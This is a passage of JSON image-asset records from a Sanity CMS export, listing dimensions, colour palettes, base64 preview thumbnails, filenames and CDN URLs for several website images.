bGDMSowJ//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59463d","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc1434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f69415","foreground":"#000","population":3.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbba1","foreground":"#000","population":1.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d5855","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69415","foreground":"#000","population":3.82,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Security__Privacy_Compliance_meta_preview.jpg","path":"images/sczeoy4w/production/c6389917b03366bbca71c7a158c76e40b68ec762-1200x630.jpg","sha1hash":"c6389917b03366bbca71c7a158c76e40b68ec762","size":60914,"uploadId":"JCCZ4ZM4i5BRyuMgLoGEGJ69PCV7Kap9","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6389917b03366bbca71c7a158c76e40b68ec762-1200x630.jpg"} {"_createdAt":"2024-08-26T03:52:33Z","_id":"image-c63fa1e7077a385cbc521bb287e454c9e59e9ace-3024x913-png","_rev":"QJtWNkOOU8d8F4outYUOho","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:33Z","assetId":"c63fa1e7077a385cbc521bb287e454c9e59e9ace","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D3SY{s?F00^,-q_4DhIV%1jH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.312157721796276,"height":913,"width":3024},"exif":{"ColorSpace":1,"PixelXDimension":3024,"PixelYDimension":913,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9klEQVQYlX2Qy47EIAwE8/8fuiMFSHgaDMa9goxmLqs9lBoJq2hzhNcPzOuFy10IISKlhFIKiOiTrbUP9Z1EFd5HnOeF09y474zbFxwpeFhjcZ4GxlpY63B7j5wzSllSQq0VvXc0HqhtoHdB7wMpFVgX1LqkITZNeeDIheDcjdNYmDfOXfA+7MZP6wzmJRRQFXCfGGOdK0LMSLnuuz4Uxxokaqj1u9YDozHvXDMigiFzy7hPXS2pVo0xaSmkY4jOOR/hYohAVaGKd/7NEEXvU7mP9Y/qfdxS5q4iE8fz+QRmxnrhP9lCRHdDXutT1RCippS3cDX8BRhx0maTK4yZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c646c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c1821","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e27e89","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4a4a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcecec","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#72757c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e27e89","foreground":"#000","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_tokens.png","path":"images/sczeoy4w/production/c63fa1e7077a385cbc521bb287e454c9e59e9ace-3024x913.png","sha1hash":"c63fa1e7077a385cbc521bb287e454c9e59e9ace","size":279451,"uploadId":"9Hi3JD2N9HaOlUIgBDYqeub2phkCr3Kc","url":"https://cdn.sanity.io/images/sczeoy4w/production/c63fa1e7077a385cbc521bb287e454c9e59e9ace-3024x913.png"} {"_createdAt":"2022-09-30T15:36:03Z","_id":"image-c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb-1920x1254-png","_rev":"8WeirZ6KB9gJqgJfviPwH3","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:03Z","assetId":"c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6S?7Fw^?u_3wL~qi_DOaKb^n4VsX7t7R5?voeQ.aekq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5311004784688995,"height":1254,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABg0lEQVQokXWSvbLTMBCF8/7PwQvQ3J6WlttAwcAwJCG5sS1pd7W/8kW246SAMyo0kr7Zc1Z7oNNxvFwQIUzDqqmYmbu31uZ5bk+KiHB3ESESZnM/yPlcx9GEg7OkY5muKaeCwCrR4hl2dxVR6WJmVT34n0vk0kybFJlOZbxOOWXIVMnC2tzrLxbmiFhNufu6OXiBEG0tmpszCZOIqKm79cP/a57ng6lF9EcRwcxEHXbzcA+7L/d4UlvIDuu9Pe6OCDnnzlNlQAbgAgwgSLqElCWtu/8DBgQopRIRIKQEOeOyCIBrXX0Boqpu8G5jgREBaq2IWEpBRCKqi3gR9nt4wHv6iKBaCYm5l1mx3jzV7X9Uau22HrbXyqvtilih9FgLzyJm/Vc2Ldt9frbK6ySJyHC53s7HkqaU0jiMOeVu5O5ZVJ7JDt9noKnq7e3tfPw9TeM0DLfvv8Yv39LXH3AdEHr4tc97zAe88iwCiD35mMrn1/ThpXz8xD9PJmq2jcP+/i/8DgbA9bRpKRtRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6165","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#804f1c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e3194f","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce47c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5d69","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3194f","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb-1920x1254.png","path":"images/sczeoy4w/production/c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb-1920x1254.png","sha1hash":"c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb","size":171664,"uploadId":"8E7oOH93YksoK9SlminB3hUHB3cyCsph","url":"https://cdn.sanity.io/images/sczeoy4w/production/c689ee3ab7aa6f76078fd01ab8b7e107e6df53eb-1920x1254.png"} {"_createdAt":"2024-08-26T03:38:03Z","_id":"image-c6b6a3aca4cfda81943bd62582cacb3118c7c3f5-3024x803-png","_rev":"vxdiygNMKB9xDhiP9dopqm","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:38:03Z","assetId":"c6b6a3aca4cfda81943bd62582cacb3118c7c3f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCRfkCt7x]x^W=?wR-MdxCM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7658779576587795,"height":803,"width":3024},"exif":{"ColorSpace":1,"PixelXDimension":3024,"PixelYDimension":803,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABCUlEQVQYlUWQQU/DMAyF+///EgeOSAOJG5MmxqAlbdMmTZzEabZmeagd0yw92Qfr83uuul6ibgTWTuSgDeFYdzh8txBSYTIW5DycD/96zP6uwOj6AS+7d1RKmzIqXbwP5bIsiHOCHDVEN0BpA0tuAz50gwWO226cE1JK26H6t0WljSvaUJnnVNbKOYM5FmtvIB9WBzfI5BiaIswdGmdwTIjMSJFxPp9RjZMtg5qK97zCSl4WBGvKKBoMooZVEt4RyDMUMdqRNvdSjlsCNVlMWoO9wzVnVMZSWWO7wGXJV1zSDPVzwOntGafdE7qPV0xdA2MJljx6IfC53+N0/IJo++33vRzgnMea7g+x4HtbzUzkpAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30373a","foreground":"#fff","population":1.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#673e1c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#30373a","foreground":"#fff","population":1.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adc4d4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecac74","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b19479","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c87838","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aws-providers.png","path":"images/sczeoy4w/production/c6b6a3aca4cfda81943bd62582cacb3118c7c3f5-3024x803.png","sha1hash":"c6b6a3aca4cfda81943bd62582cacb3118c7c3f5","size":256184,"uploadId":"PveyQCfe5s6VmzdPgqf4Xa6Xib9kCvwD","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6b6a3aca4cfda81943bd62582cacb3118c7c3f5-3024x803.png"} {"_createdAt":"2022-11-25T14:13:09Z","_id":"image-c6c6e54ca096caf913356415647a7bd749c1e107-432x178-svg","_rev":"RAyRTsSFAoDoj6NvfqbHlJ","_type":"sanity.imageAsset","_updatedAt":"2022-11-25T14:13:09Z","assetId":"c6c6e54ca096caf913356415647a7bd749c1e107","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4269662921348316,"height":178,"width":432},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAj/xAAYEAADAQEAAAAAAAAAAAAAAAAAASERAv/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AqhqqwN4gCBzuWMAFH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#894c0f","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#77420d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbbaad","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbbaad","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c89c","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#894c0f","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e57f19","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"book-a-demo-simple-background.svg","path":"images/sczeoy4w/production/c6c6e54ca096caf913356415647a7bd749c1e107-432x178.svg","sha1hash":"c6c6e54ca096caf913356415647a7bd749c1e107","size":573,"uploadId":"mJyBUZmaDOUu0TViXGrSH9peI4HkNLKn","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6c6e54ca096caf913356415647a7bd749c1e107-432x178.svg"} {"_createdAt":"2024-06-10T15:22:50Z","_id":"image-c6cae91800dfbcd9fc467a6d7a9c92e0c09357b5-2910x918-png","_rev":"rE19qWqXtwbnyVyXl5PeBk","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:50Z","assetId":"c6cae91800dfbcd9fc467a6d7a9c92e0c09357b5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9R:NYyDD%wO^l~qnOsAozRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1699346405228757,"height":918,"width":2910},"exif":{"PixelXDimension":2910,"PixelYDimension":918,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAABIklEQVQYlTXR246cMBBF0f7/H4zSiqL0wDQOxnd8h+zIMPNgqSSXV6mOHyk3Sqrsm0cKjTAOmzOlHaTSiKkScyXlSqmd1k9qO6661EatndpOaj/JtfMYl0EF5I+J5debl9yYnMHlTP4Cx+NvJKWC8pFFO4SySBPwe7nQMewxinV1vH8L/ObRMfLHKsTuya3TxvR2UkonuIxeLdOn5Oe08JwWXp+STQVy6fTjH4+x2qIiH2sgpIYr5QKX4Cn95Di5Jn+DRhj+zoJ5mpnnN+t7xSlPKe0GxyoqFF4yMGnPhzUXqFOiHefVdOd2ozEkvDI4KbFyw2pD3BOtHTd45ZQbwuw8143ntiKCI9V2Q1+fcJ0RfGn4ELHWoY1FO8+eR4aj5+Q/UrTNqgY4aZoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c2424","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a1936","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#abd4cb","foreground":"#000","population":3.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abd4cb","foreground":"#000","population":3.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e484ac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af5a74","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d44c7c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"category-cloud-and-sentiment.png","path":"images/sczeoy4w/production/c6cae91800dfbcd9fc467a6d7a9c92e0c09357b5-2910x918.png","sha1hash":"c6cae91800dfbcd9fc467a6d7a9c92e0c09357b5","size":598972,"uploadId":"FUmxiRcu2O9uScx8yqVY2G1SuYmJg8XB","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6cae91800dfbcd9fc467a6d7a9c92e0c09357b5-2910x918.png"} {"_createdAt":"2022-10-03T10:31:28Z","_id":"image-c6e3341ad2bd91927274c2c3818eb8a2b5cd1a00-1280x720-jpg","_rev":"8WeirZ6KB9gJqgJfvvSvB9","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:28Z","assetId":"c6e3341ad2bd91927274c2c3818eb8a2b5cd1a00","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMCBAYI/8QAHRAAAgIDAQEBAAAAAAAAAAAAAQIABAMRIQUzQf/EABYBAQEBAAAAAAAAAAAAAAAAAAIABP/EABoRAAICAwAAAAAAAAAAAAAAAAABERICBFH/2gAMAwEAAhEDEQA/AOntDGcaqSFkVfjnZ3GWPug/NRHosUoWWTjBCQRISVnHS1jbaAkGExVL0rjYe2HPdQhsa3pZJxJ//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3068","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d4971","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e11f50","foreground":"#fff","population":0.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ac0b5","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e574","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#52a57f","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e11f50","foreground":"#fff","population":0.84,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cassandra-setup.jpg","path":"images/sczeoy4w/production/c6e3341ad2bd91927274c2c3818eb8a2b5cd1a00-1280x720.jpg","sha1hash":"c6e3341ad2bd91927274c2c3818eb8a2b5cd1a00","size":76548,"uploadId":"gehJJcT6nqr9s3RxshCf9dcidoYRyVZo","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6e3341ad2bd91927274c2c3818eb8a2b5cd1a00-1280x720.jpg"} {"_createdAt":"2022-06-15T20:02:12Z","_id":"image-c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844-png","_rev":"StyfnzRSyhTCbsBlPUp5Ib","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:59:32Z","assetId":"c7243cd5f1a0aca266d2e2ee01c637fe5575907d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQSrG?bPCVX-oO]RPoIR*xa_MD%Z}tSRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACYklEQVQokR2Ma0/aUACG+zf9sGU/wGQfNMvUxC0x2SXZJfugbrrFEOaQxIVBNpVNEAZSkJtcFCmXAm1Pz4We9pyWAoK4sOTJm/f58giMOzo0gE4gphDR/79PDMb4kNtDbrvcHllsaFDbtAaMj7g9YvZ8XXcsKBrM5svJVC6dKWYuLrP5SrFUa8mAEItizUQyNebRSrV+Wa4pKjGoMw+Zts0HgtzVxEzhLC7G/qbjiUw2X6lJXUUxiAotKWXexGmvCWQpEj7e/bx3cnTaaSgE9Cnq2yYTMLHaHSA1FUlS6tWO3AC6bkGdQ0kyMwGeCrLcOc5EI37vyvLys9X1+K+oUusCWdcAFRgfETrAxEE9C15iVMKwY7QavbKYkE/3cdivBQ/rB57jj1tPFxcfPXiw+X47GS9limqsbAjcHhnmoG/YpEtxVsdZACVQLVWiJz/FkDd/8OXP5tvAmw3fu5fPlx4/XFhYWl7z+KPBRM8vGoJtuyZltE+pTmhLN9s6VUG3USuchy/Ce4nDrfDOq8jOhrj/Ibj1+sXKk7XVdc9+6HeqcZQngsM4I8TCkGGdI81GmoMUDuS+FEO5LSB+ArGvKOLpx7+rZ6FkwOfd3Q74fWJSLF61BbcPzW6LdCRTbTtQHkDZha0hbI6V9KTuvb3xja6ibjEyKCQG1QypJPPRH2ehb4X4ceemJIyRarWuUbNqKo0hksdYHuPWLW5O0PWdlp6q6UmvPG6Xx63ypFedaBXWzuHaudHIOqAuTB1rTJFL4cjCE06mHE8ZuuPozkYzG864PscCczi4n6t2z9QZAzOH/APS/imTxJDpTwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3e3f","foreground":"#fff","population":4.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#352917","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3d3e3f","foreground":"#fff","population":4.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9beca","foreground":"#000","population":2.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c58e","foreground":"#000","population":3.95,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f6670","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2bb5d","foreground":"#000","population":1.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844.png","path":"images/sczeoy4w/production/c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844.png","sha1hash":"c7243cd5f1a0aca266d2e2ee01c637fe5575907d","size":469177,"uploadId":"ZfpflVp4KICXf4LbTSgZkkB9MEA6MNea","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7243cd5f1a0aca266d2e2ee01c637fe5575907d-1567x844.png"} {"_createdAt":"2023-03-24T13:42:45Z","_id":"image-c7271095c8e20424c014677350cfc3d281862147-3840x2160-png","_rev":"dbnYPrvSKGV9AwPMwMNabe","_type":"sanity.imageAsset","_updatedAt":"2023-03-24T13:42:45Z","assetId":"c7271095c8e20424c014677350cfc3d281862147","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB90lEQVQokV3QbW/SUBTA8X7/72A2HYgQggwnqBEf5jAwoEgLLbACHW259/Y+tb30CQoYxBi35Pfy/M9JjuSHBy4ywlPibTFPTdufGGQ0gbJqyYo1HDujCRzpcDh2VA2oOlD0taqvDZNgnkjnEuDYAolhblodq1JTCuV+vtTLFXtXxe7Vm+5lvnORaxfK3eqN/P6T8q01mxguC7YS9Xcuix0UL61YN8T3n1apquRLcq4ovyrILwv9y9e9F1f3F7luraF1ZHuoId2gDoq8zV6i/tZlMaKpy3aOGw9GoNHUag2l1lCv68pZpTaovPv19cdCnXqzZbiwIkh23uZ4vpwQb8vFgQV7x40M05st2GzBpnOqG0SbueMpUjTY7tnNW7N5a7b7YL4SXOyfxN7m7HhG/QyS1EaRg0LTFh3Zvq4r1frwy93DZE55kD2JnyFeBkhiwdCG4aMj+gr42NQ/NLW7zuLB5FxkEgt2mJ9ib3Pww4MfHr3wdJaLA+Y7gP+P129v1EJ5UP88Hc8IEzsJ0RiSGPOUBdkfey7+on6G+RbSBNEEkmSxCvoKat2vu0M4XwVMZJJhsqXlARy5LAU4Afg0innKg+z8gn+7TuuCPWJbGwgbCsxTaWKQ+SNbuxtEEwclDoohiVyWsCDzw+MzQXTkIlu7wgI+ovFv1t5IgjxueSYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31375f","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#171964","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b6095","foreground":"#fff","population":1.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8aed2","foreground":"#000","population":0.67,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5a8f4","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b6095","foreground":"#fff","population":1.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#393d7b","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Image3_optimized.png","path":"images/sczeoy4w/production/c7271095c8e20424c014677350cfc3d281862147-3840x2160.png","sha1hash":"c7271095c8e20424c014677350cfc3d281862147","size":76709,"uploadId":"0vPxHSkF8Jg58F4MIOmkxv3xNnpAIS7D","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7271095c8e20424c014677350cfc3d281862147-3840x2160.png"} {"_createdAt":"2022-06-15T20:01:52Z","_id":"image-c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEc54s","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:37Z","assetId":"c7292af483efa2e4e13424fe2011bc5daf1fda60","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDQ#jw;FaIxZrs#%whs=S0t7qav#pIofS2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC80lEQVQokT3R+09TdxjH8QPMzV3cNCYkZj+4LW4x0Swu42Ys7WqBglCK9GI7Wo7Y057eaAvFriIEo7Lsn1xPe3ru53vqLizfZfL9fpaC8Yd3nt9eeZ48wtvZdZyGUjidS+M09AhvAzH8N7uCf4NzoOF7OIn8gL/jN/Fn+jrI5jiM3CVoxQvoV0agVQX0h1UEqJXzKZwEE/jnoYSThIy/Hubwx0Ia3r0IPN88yP1ZOOEfYa/eghX/Blr6GnqbV9CVLqJbHEW3LKBXPseG9YYgCcbhJQogmW04sTz0UBK9mWX0ZsLo+4Poh+5CXboDNXoT3fh1dNLj6IiX0Ml/iE5x5AxV3zXEBSsYh7tRAZF/gZ2pQn2QgbKYRi+ShR7PwkwlYDwKQ98IQJN8UHO3oIjj+H3rEyiFsTNIrwrQ3m0pGIF1OEkZrrQHW6xDSxXR32rA2H4OZ+8IZK8NUpPhNkQ4hzmYrQjU3LdQxMtQ8xdhVUdB6gLcmgC7NgR/isFJFuBITdj5JgypCb38DMbOEezdI7j1NgaNHQzadbgvG7BebEHbuY+e/B360hewSx+A1Ebeo4IRSsDJbsPdfQG3fQyrfQyj9Qrm7hHs6jO4pacYNPfx5mAf5GULzq8NWK8lGO0F6KWvYcqfwSyPwaicny4YwRh3MlVOnr7i7vPfuNk45Jrc4vqTHW5nq5w8rnMiNzkpbXO3JnOyX+bucYU7r7PcOZjnVuMG14sfc7U0wnsVgQuWfw0knsdAbp09xkyVoEUfw1gV4Uay8NafwIlLsNYzsJJJuPk0BnubeHOwAe8wCrvxPbT85+gWxqCUBAj2zAojgRjz5lPMnU8xOxBjhi/KLN8q83yrjMxGmeFfY5o/wvTgIjOX5pgbC7DBz3eZJ95hpvgVU8XLTJE+Yoo8ygRr6gF1ppepNx2hZHqF2lPL1JxaovbkIvUmw9SZCNP+xALtTSxQbSZETb+fWnOT1Fu+TQdrN6iR/JIqG1dpZ+tTqhQu0P8BomYooe/UcHIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964902","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc6c04","foreground":"#fff","population":3.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e46c04","foreground":"#fff","population":5.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb1a9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#934c4c","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e46c04","foreground":"#fff","population":5.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844.png","path":"images/sczeoy4w/production/c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844.png","sha1hash":"c7292af483efa2e4e13424fe2011bc5daf1fda60","size":813935,"uploadId":"C1v0OX5207ZvI0SHq4DYH6M8Zo2d9sNY","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844.png"} 